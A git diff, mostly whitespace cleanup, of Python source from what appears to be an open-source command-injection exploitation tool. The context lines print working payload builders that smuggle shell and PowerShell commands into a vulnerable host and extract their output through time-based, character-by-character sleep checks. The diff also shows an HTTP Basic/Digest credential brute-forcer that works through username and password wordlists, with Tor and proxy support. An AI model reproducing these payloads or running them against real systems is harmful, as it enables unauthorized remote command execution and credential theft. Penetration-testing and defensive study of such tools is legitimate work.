settings.FOUND_DIFF): @@ -337,7 +337,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, else: output.append(chr(ascii_char)) - injection_check = False + injection_check = False break check_end = time.time() check_how_long = int(check_end - check_start) @@ -346,7 +346,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, # Check for empty output. if output == (len(output) * settings.SINGLE_WHITESPACE): output = "" - + else: check_start = 0 check_how_long = 0 @@ -363,7 +363,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese previous_cmd = cmd if alter_shell: cmd = cmd = checks.quoted_cmd(cmd) - else: + else: cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" found_chars = False @@ -372,12 +372,12 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese # Varying the sleep time. if false_positive_warning: timesec = timesec + random.randint(3, 5) - + # Checking the output length of the used payload. - if settings.VERBOSITY_LEVEL == 0: + if settings.VERBOSITY_LEVEL == 0: sys.stdout.write(timesec * ".") for output_length in range(1, 3): - if settings.VERBOSITY_LEVEL == 0: + if settings.VERBOSITY_LEVEL == 0: sys.stdout.write(timesec * ".") # Execute shell commands on vulnerable host. if alter_shell : @@ -391,13 +391,13 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese # Whitespace fixation payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - + # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") + payload_msg = payload.replace("\n", "\\n") print(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag @@ -434,15 +434,15 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese check_start = 0 check_end = 0 check_start = time.time() - - output = [] + + output = [] percent = 0 sys.stdout.flush() is_valid = False for num_of_chars in range(1, int(num_of_chars)): for ascii_char in range(1, 9): - if settings.VERBOSITY_LEVEL == 0: + if settings.VERBOSITY_LEVEL == 0: sys.stdout.write(timesec * ".") # Get the execution ouput, of shell execution. if alter_shell: @@ -452,7 +452,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) + payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) @@ -462,7 +462,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") + payload_msg = payload.replace("\n", "\\n") print(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag @@ -484,7 +484,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: how_long = custom_header_injection_test(url, vuln_parameter, payload) - + else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) @@ -492,7 +492,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese output.append(ascii_char) is_valid = True break - + if is_valid: break @@ -501,7 +501,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese output = "".join(str(p) for p in output) if str(output) == str(randvcalc): - if settings.VERBOSITY_LEVEL == 0: + if settings.VERBOSITY_LEVEL == 0: sys.stdout.write(" (done)") return how_long, output else: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 28be4164dc..abcf884083 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -80,12 +80,12 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): elif separator == "||" : pipe = "|" payload = (pipe + - "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + pipe + - "[ " + str(j) + " -ne $(cat " + OUTPUT_TEXTFILE + - pipe + "tr -d '\\n'" + + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + pipe + + "[ " + str(j) + " -ne $(cat " + OUTPUT_TEXTFILE + + pipe + "tr -d '\\n'" + pipe + "wc -c) ] " + separator + "sleep " + str(timesec) - ) + ) else: pass @@ -116,7 +116,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) - else: + else: if separator == ";" or separator == "%0a" : payload = (separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator + @@ -149,7 +149,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque # Find the length of the output, using readline(). "[ " + str(j) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " - ) + ) else: pass @@ -161,7 +161,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque payload = payload.replace("\n", ";") else: if settings.TARGET_OS != settings.OS.WINDOWS: - payload = payload.replace("\n","%0d") + payload = payload.replace("\n","%0d") return payload """ @@ -173,7 +173,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth pipe = "|" payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c \"" + - cmd + + cmd + "\"') do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + pipe + "for /f \"tokens=*\" %y in ('cmd /c \"powershell.exe -InputFormat none " "([string](Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" @@ -183,14 +183,14 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth pipe + "for /f \"tokens=*\" %x in ('cmd /c \"" + "powershell.exe -InputFormat none write-host ([int[]][char[]]([string](cmd /c " + cmd + ")))\"')" + settings.SINGLE_WHITESPACE + - "do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%x'" + "do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%x'" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"" + - cmd + + cmd + "\"') do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + ampersand + "for /f \"tokens=*\" %y in ('cmd /c \"powershell.exe -InputFormat none " "([string](Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" @@ -200,7 +200,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth ampersand + "for /f \"tokens=*\" %x in ('cmd /c \"" + "powershell.exe -InputFormat none write-host ([int[]][char[]]([string](cmd /c " + cmd + ")))\"')" + settings.SINGLE_WHITESPACE + - "do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%x'" + "do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%x'" ) else: @@ -238,21 +238,21 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "sleep " + str(timesec) + separator + # Transform to ASCII "str1=$(od -A n -t d1<" + OUTPUT_TEXTFILE + ")" + separator + - "echo $str1" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "echo $str1" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE ) #if menu.options.data: separator = _urllib.parse.unquote(separator) - - elif separator == "||" : + + elif separator == "||" : pipe = "|" cmd = cmd.rstrip() cmd = checks.add_command_substitution(cmd) payload = (pipe + - cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + pipe + - "[ " + str(j) + " -ne $(cat " + OUTPUT_TEXTFILE + pipe + + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + pipe + + "[ " + str(j) + " -ne $(cat " + OUTPUT_TEXTFILE + pipe + "tr -d '\\n'" + pipe + "wc -c) ]" + separator + "sleep " + str(timesec) - ) + ) else: pass @@ -268,7 +268,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ pipe = "|" payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c " + - cmd + + cmd + "') do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + pipe + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + @@ -280,14 +280,14 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c " + - cmd + + cmd + "') do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + ampersand + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) - else: + else: if separator == ";" or separator == "%0a" : payload = (separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator + @@ -311,15 +311,15 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) #if menu.options.data: - separator = _urllib.parse.unquote(separator) + separator = _urllib.parse.unquote(separator) - elif separator == "||" : + elif separator == "||" : pipe = "|" payload = (pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + settings.SINGLE_WHITESPACE + "[ " + str(j) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" - ) + ) else: pass @@ -381,15 +381,15 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http ) #if menu.options.data: separator = _urllib.parse.unquote(separator) - + elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne $(cat " + OUTPUT_TEXTFILE + - pipe + "tr -d '\\n'" + - pipe + "cut -c " + str(num_of_chars) + - pipe + "od -N 1 -i" + - pipe + "head -1" + + "[ " + str(ascii_char) + " -ne $(cat " + OUTPUT_TEXTFILE + + pipe + "tr -d '\\n'" + + pipe + "cut -c " + str(num_of_chars) + + pipe + "od -N 1 -i" + + pipe + "head -1" + pipe + "awk '{print$2}') ] " + separator + "sleep " + str(timesec) ) @@ -415,13 +415,13 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "for /f \"tokens=*\" %i in ('cmd /c " + + payload = (ampersand + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) - else: + else: if separator == ";" or separator == "%0a" : payload = (separator + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\")" + separator + @@ -472,21 +472,21 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ")\"') " - "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + + "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + + payload = (ampersand + "for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ")\"') " - "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + + "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - else: + else: if separator == ";" or separator == "%0a" : payload = (separator + "str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator + @@ -507,7 +507,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth ) #if menu.options.data: separator = _urllib.parse.unquote(separator) - + elif separator == "||" : pipe = "|" payload = (pipe + @@ -517,7 +517,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth else: pass - + return payload """ @@ -537,13 +537,13 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "for /f \"tokens=*\" %i in ('cmd /c " + + payload = (ampersand + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) - else: + else: if separator == ";" or separator == "%0a" : payload = (separator + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\")" + separator + @@ -584,5 +584,5 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, if settings.TARGET_OS != settings.OS.WINDOWS: payload = payload.replace("\n","%0d") return payload - + # eof \ No newline at end of file diff --git a/src/core/main.py b/src/core/main.py index 56c902ab15..b836223a8e 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -83,13 +83,13 @@ def user_agent_header(): raise SystemExit() else: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Fetching random HTTP User-Agent header. " + debug_msg = "Fetching random HTTP User-Agent header. " print(settings.print_debug_msg(debug_msg)) else: pass try: menu.options.agent = random.choice(settings.USER_AGENT_LIST) - info_msg = "The fetched random HTTP User-Agent header value is '" + menu.options.agent + "'." + info_msg = "The fetched random HTTP User-Agent header value is '" + menu.options.agent + "'." print(settings.print_info_msg(info_msg)) except: print(settings.SINGLE_WHITESPACE) @@ -113,7 +113,7 @@ def examine_request(request, url): # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy: return proxy.use_proxy(request) - # Check if defined Tor (--tor option). + # Check if defined Tor (--tor option). elif menu.options.tor: return tor.use_tor(request) else: @@ -313,7 +313,7 @@ def main(filename, url): if menu.options.level == settings.DEFAULT_INJECTION_LEVEL and \ menu.options.test_parameter != None: checks.check_injection_level() - + # Define the level of tests to perform. if menu.options.level == settings.DEFAULT_INJECTION_LEVEL: settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL1), key=settings.SEPARATORS_LVL1.index) @@ -357,11 +357,11 @@ def main(filename, url): if menu.options.ignore_session: # Ignore session - session_handler.ignore(url) + session_handler.ignore(url) # Check provided parameters for tests checks.check_provided_parameters() - + # Check if defined character used for splitting cookie values. if menu.options.cdel: settings.COOKIE_DELIMITER = menu.options.cdel @@ -382,7 +382,7 @@ def main(filename, url): menu.options.tech = ''.join(menu.options.tech) else: if not menu.options.tech: - menu.options.tech = ''.join([str(x) for x in settings.AVAILABLE_TECHNIQUES]) + menu.options.tech = ''.join([str(x) for x in settings.AVAILABLE_TECHNIQUES]) else: settings.USER_SUPPLIED_TECHNIQUE = True @@ -421,18 +421,18 @@ def main(filename, url): for j in range(0,len(split_first_letter)): if split_first_letter[j] in settings.AVAILABLE_TECHNIQUES: found_tech = True - else: - found_tech = False - + else: + found_tech = False + if split_techniques_names[i].replace(' ', '') not in settings.AVAILABLE_TECHNIQUES and \ found_tech == False: - err_msg = "You specified wrong value '" + split_techniques_names[i] + err_msg = "You specified wrong value '" + split_techniques_names[i] err_msg += "' as injection technique. " err_msg += "The value for option '" if not settings.SKIP_TECHNIQUES : err_msg += "--technique" else: - err_msg += "--skip-technique" + err_msg += "--skip-technique" err_msg += "' must be a string composed by the letters " err_msg += ', '.join(settings.AVAILABLE_TECHNIQUES).upper() err_msg += ". Refer to the official wiki for details." @@ -455,7 +455,7 @@ def main(filename, url): err_msg = "You must enter the '--file-write' or '--file-upload' parameter." print(settings.print_critical_msg(err_msg)) raise SystemExit() - + # Check if defined "--url" or "-m" option. if url: if menu.options.auth_cred and menu.options.auth_type: @@ -508,7 +508,7 @@ def main(filename, url): # Define Python working directory. checks.define_py_working_dir() # Check for wrong flags. - checks.check_wrong_flags() + checks.check_wrong_flags() else: found_os_server = checks.user_defined_os() except (KeyError, AttributeError): @@ -517,7 +517,7 @@ def main(filename, url): if menu.options.tamper: settings.USER_SUPPLIED_TAMPER = menu.options.tamper # checks.tamper_scripts(stored_tamper_scripts=False) - + except AttributeError: pass @@ -540,7 +540,7 @@ def main(filename, url): err_msg = "The target host is not responding." err_msg += " Please ensure that is up and try again." print("\n" + settings.print_critical_msg(err_msg)) - logs.print_logs_notification(filename, url) + logs.print_logs_notification(filename, url) try: filename = "" @@ -571,7 +571,7 @@ def main(filename, url): err_msg += "must be an integer value from range [0, 4]." print(settings.print_critical_msg(err_msg)) raise SystemExit() - else: + else: settings.VERBOSITY_LEVEL = menu.options.verbose if menu.options.smoke_test: @@ -596,12 +596,12 @@ def main(filename, url): # Check if defined "--ignore-dependencies" option. if not menu.options.ignore_dependencies: checks.third_party_dependencies() - - # Check if defined "--update" option. + + # Check if defined "--update" option. if menu.options.update: update.updater() - - # Check if defined "--install" option. + + # Check if defined "--install" option. if menu.options.install: install.installer() raise SystemExit() @@ -660,25 +660,25 @@ def main(filename, url): raise SystemExit() if menu.options.failed_tries == 0: - err_msg = "You must specify '--failed-tries' value, greater than zero." + err_msg = "You must specify '--failed-tries' value, greater than zero." print(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if defined "--auth-cred" and/or '--auth-type'. if (menu.options.auth_type and not menu.options.auth_cred) or (menu.options.auth_cred and not menu.options.auth_type): - err_msg = "You must specify both '--auth-cred' and '--auth-type' options." + err_msg = "You must specify both '--auth-cred' and '--auth-type' options." print(settings.print_critical_msg(err_msg)) raise SystemExit() if menu.options.auth_cred and menu.options.auth_type: if menu.options.auth_type.lower() in (settings.AUTH_TYPE.BASIC, settings.AUTH_TYPE.DIGEST) and not re.search(settings.AUTH_CRED_REGEX, menu.options.auth_cred): - error_msg = "HTTP " + str(menu.options.auth_type) + error_msg = "HTTP " + str(menu.options.auth_type) error_msg += " authentication credentials value must be in format 'username:password'." print(settings.print_critical_msg(error_msg)) raise SystemExit() if menu.options.requestfile and menu.options.url: - err_msg = "The '-r' option is incompatible with option '-u' ('--url')." + err_msg = "The '-r' option is incompatible with option '-u' ('--url')." print(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -686,7 +686,7 @@ def main(filename, url): if menu.options.os: checks.user_defined_os() - # Check if defined "--check-tor" option. + # Check if defined "--check-tor" option. if menu.options.tor_check and not menu.options.tor: err_msg = "The '--check-tor' swich requires usage of '--tor' switch." print(settings.print_critical_msg(err_msg)) @@ -741,13 +741,13 @@ def main(filename, url): settings.TIMESEC = 10 warn_msg = "Increasing default value for option '--time-sec' to" warn_msg += " " + str(settings.TIMESEC) + ", because switch '--tor' was provided." - print(settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) # Local IP address if not menu.options.offline: settings.LOCAL_HTTP_IP = simple_http_server.grab_ip_addr() else: - settings.LOCAL_HTTP_IP = None + settings.LOCAL_HTTP_IP = None if menu.options.sitemap_url: settings.SITEMAP_CHECK = True @@ -783,7 +783,7 @@ def main(filename, url): if menu.options.level != settings.DEFAULT_INJECTION_LEVEL: settings.USER_SUPPLIED_LEVEL = menu.options.level - + # Define the local path where Metasploit Framework is installed. if menu.options.msf_path: settings.METASPLOIT_PATH = menu.options.msf_path @@ -806,7 +806,7 @@ def main(filename, url): # Check if option is "--url" for single url test. if menu.options.sitemap_url: url = menu.options.sitemap_url - else: + else: url = menu.options.url if not settings.STDIN_PARSING and not menu.options.bulkfile and not settings.CRAWLING: @@ -844,7 +844,7 @@ def main(filename, url): print(settings.SINGLE_WHITESPACE) with open(menu.options.bulkfile) as f: bulkfile = [url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)).strip() for url in f] - + # Check if option "--crawl" is enabled. if settings.CRAWLING: settings.CRAWLING_PHASE = True @@ -899,19 +899,19 @@ def main(filename, url): elif skip_host in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(skip_host) + common.invalid_option(skip_host) pass if settings.SKIP_VULNERABLE_HOST: url_num += 1 info_msg = "Skipping URL '" + url + "' (" + str(url_num) + "/" + str(len(clean_output_href)) + ")." - print(settings.print_info_msg(info_msg)) + print(settings.print_info_msg(info_msg)) if not check_for_injected_url(url) or settings.SKIP_VULNERABLE_HOST is False: if not check_for_injected_url(url): settings.SKIP_VULNERABLE_HOST = None http_request_method = checks.check_http_method(url) - if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url) or menu.options.shellshock) or settings.MULTI_TARGETS: + if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url) or menu.options.shellshock) or settings.MULTI_TARGETS: url_num += 1 perform_check = True while True: @@ -929,7 +929,7 @@ def main(filename, url): elif next_url in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(next_url) + common.invalid_option(next_url) pass if perform_check: if os_checks_num == 0: @@ -946,7 +946,7 @@ def main(filename, url): filename = logs.logs_filename_creation(url) main(filename, url) except: - pass + pass else: url_num += 1 print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] Skipping URL - " + url)) @@ -962,7 +962,7 @@ def main(filename, url): print(settings.print_abort_msg(abort_msg)) raise SystemExit() -except SystemExit: +except SystemExit: raise SystemExit() except EOFError: diff --git a/src/core/modules/modules_handler.py b/src/core/modules/modules_handler.py index ed8e5536a8..58b4336bb8 100644 --- a/src/core/modules/modules_handler.py +++ b/src/core/modules/modules_handler.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -34,5 +34,5 @@ def load_modules(url, http_request_method, filename): shellshock.shellshock_handler(url, http_request_method, filename) except ImportError as err_msg: print("\n" + settings.print_critical_msg(err_msg)) - raise SystemExit() - raise SystemExit() \ No newline at end of file + raise SystemExit() + raise SystemExit() \ No newline at end of file diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 052d27c3e6..04670565a0 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -52,7 +52,7 @@ def authentication_process(): if len(cookies) != 0 : menu.options.cookie = cookies.rstrip() if settings.VERBOSITY_LEVEL != 0: - info_msg = "The received cookie is " + info_msg = "The received cookie is " info_msg += str(menu.options.cookie) + Style.RESET_ALL + "." print(settings.print_bold_info_msg(info_msg)) _urllib.request.install_opener(opener) @@ -61,12 +61,12 @@ def authentication_process(): headers.do_check(request) # Get the response of the request. return _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - + except Exception as err_msg: checks.connection_exceptions(err_msg) """ -Define the HTTP authentication +Define the HTTP authentication wordlists for usernames / passwords. """ def define_wordlists(): @@ -89,7 +89,7 @@ def define_wordlists(): elif do_update in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(do_update) + common.invalid_option(do_update) pass try: @@ -100,16 +100,16 @@ def define_wordlists(): if not os.path.isfile(username_txt_file): err_msg = "The specified file '" + str(username_txt_file) + "' does not exist." print(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit() if len(username_txt_file) == 0: err_msg = "The specified file '" + str(username_txt_file) + "' seems empty." print(settings.print_critical_msg(err_msg)) raise SystemExit() - with open(username_txt_file, "r") as f: + with open(username_txt_file, "r") as f: for line in f: line = line.strip() usernames.append(line) - except IOError: + except IOError: err_msg = " Check if file '" + str(username_txt_file) + "' is readable or corrupted." print(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -122,16 +122,16 @@ def define_wordlists(): if not os.path.isfile(passwords_txt_file): err_msg = "The specified file '" + str(passwords_txt_file) + "' does not exist." print(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit() if len(passwords_txt_file) == 0: err_msg = "The specified file '" + str(passwords_txt_file) + "' seems empty." print(settings.print_critical_msg(err_msg)) - raise SystemExit() - with open(passwords_txt_file, "r") as f: + raise SystemExit() + with open(passwords_txt_file, "r") as f: for line in f: line = line.strip() passwords.append(line) - except IOError: + except IOError: err_msg = " Check if file '" + str(passwords_txt_file) + "' is readable or corrupted." print(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -147,9 +147,9 @@ def http_auth_cracker(url, realm): authentication_type = menu.options.auth_type # Define the authentication wordlists for usernames / passwords. usernames, passwords = define_wordlists() - i = 1 + i = 1 found = False - total = len(usernames) * len(passwords) + total = len(usernames) * len(passwords) for username in usernames: for password in passwords: float_percent = "{0:.1f}%".format(round(((i*100)/(total*1.0)),2)) @@ -162,10 +162,10 @@ def http_auth_cracker(url, realm): sys.stdout.write("\r" + settings.print_checking_msg(payload) + settings.SINGLE_WHITESPACE * 10) sys.stdout.flush() try: - # Basic authentication + # Basic authentication if authentication_type.lower() == settings.AUTH_TYPE.BASIC: authhandler = _urllib.request.HTTPBasicAuthHandler() - # Digest authentication + # Digest authentication elif authentication_type.lower() == settings.AUTH_TYPE.DIGEST: authhandler = _urllib.request.HTTPDigestAuthHandler() authhandler.add_password(realm, url, username, password) @@ -177,16 +177,16 @@ def http_auth_cracker(url, realm): # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy: proxy.use_proxy(request) - # Check if defined Tor (--tor option). + # Check if defined Tor (--tor option). elif menu.options.tor: tor.use_tor(request) response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) # Store valid results to session - admin_panel = url + admin_panel = url session_handler.import_valid_credentials(url, authentication_type, admin_panel, username, password) found = True except KeyboardInterrupt : - raise + raise except (_urllib.error.HTTPError, _urllib.error.URLError): pass if found: @@ -196,11 +196,11 @@ def http_auth_cracker(url, realm): if str(float_percent) == "100.0%": if settings.VERBOSITY_LEVEL == 0: float_percent = settings.FAIL_STATUS - else: + else: i = i + 1 float_percent = ".. (" + float_percent + ")" if settings.VERBOSITY_LEVEL == 0: - info_msg = "Checking for valid pair of HTTP authentication credentials." + info_msg = "Checking for valid pair of HTTP authentication credentials." info_msg += float_percent sys.stdout.write("\r\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() @@ -208,16 +208,16 @@ def http_auth_cracker(url, realm): valid_pair = "" + username + ":" + password + "" if not settings.VERBOSITY_LEVEL >= 2: print(settings.SINGLE_WHITESPACE) - info_msg = "Identified valid pair of HTTP authentication credentials: '" - info_msg += valid_pair + Style.RESET_ALL + Style.BRIGHT + "'." + info_msg = "Identified valid pair of HTTP authentication credentials: '" + info_msg += valid_pair + Style.RESET_ALL + Style.BRIGHT + "'." print(settings.print_bold_info_msg(info_msg)) return valid_pair - err_msg = "Use the '--auth-cred' option to provide a valid pair of " - err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " - err_msg += "or place an other dictionary into '" + err_msg = "Use the '--auth-cred' option to provide a valid pair of " + err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " + err_msg += "or place an other dictionary into '" err_msg += os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) 